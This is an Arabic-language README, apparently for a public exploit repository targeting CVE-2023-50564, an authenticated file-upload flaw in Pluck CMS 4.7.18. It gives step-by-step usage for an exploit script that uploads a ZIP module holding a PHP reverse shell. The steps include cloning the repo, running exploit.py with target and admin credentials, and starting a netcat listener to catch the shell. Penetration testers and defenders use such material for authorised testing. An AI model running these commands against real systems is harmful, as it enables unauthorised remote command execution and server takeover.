CVE-2023-50564

📌 الوصف

يسمح هذا الاستغلال لمسؤول مصادق في Pluck CMS v4.7.18 برفع وحدة ZIP خبيثة تحتوي على قشرة PHP، مما يؤدي إلى تنفيذ الأوامر عن بعد (RCE).

⚙️ الميزات

• المصادقة على الهدف باستخدام اسم مستخدم وكلمة مرور صالحين
• إنشاء أرشيف ZIP تلقائيًا من ملف PHP المقدم
• رفع الوحدة إلى نقطة النهاية الضعيفة installmodule
• تشغيل الحمولة وعرض المخرجات
• دعم الهدف المخصص والمنفذ وبيانات الاعتماد ومسار القشرة

🚀 الاستخدام

git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h

python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]

• المنفذ اختياري والقيمة الافتراضية هي 80 إذا لم يتم تحديده.
• عند تحديد الهدف، يجب تقديم عنوان IP أو اسم النطاق (مثل 127.0.0.1 أو test.domain).

مثال على الاستغلال

أولاً، يجب بدء مستمع القشرة العكسية على جهاز المهاجم (لا يجب إنهاء علامة التبويب هذه في الطرفية):

nc -nvlp <specify port>

ثم، قم بتنزيل قشرة PHP العكسية من https://github.com/pentestmonkey/php-reverse-shell وقم بتخصيصها وفقًا لجهاز المهاجم. (IP, المنفذ)

قم بتشغيل كود الاستغلال في علامة تبويب أخرى:

python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php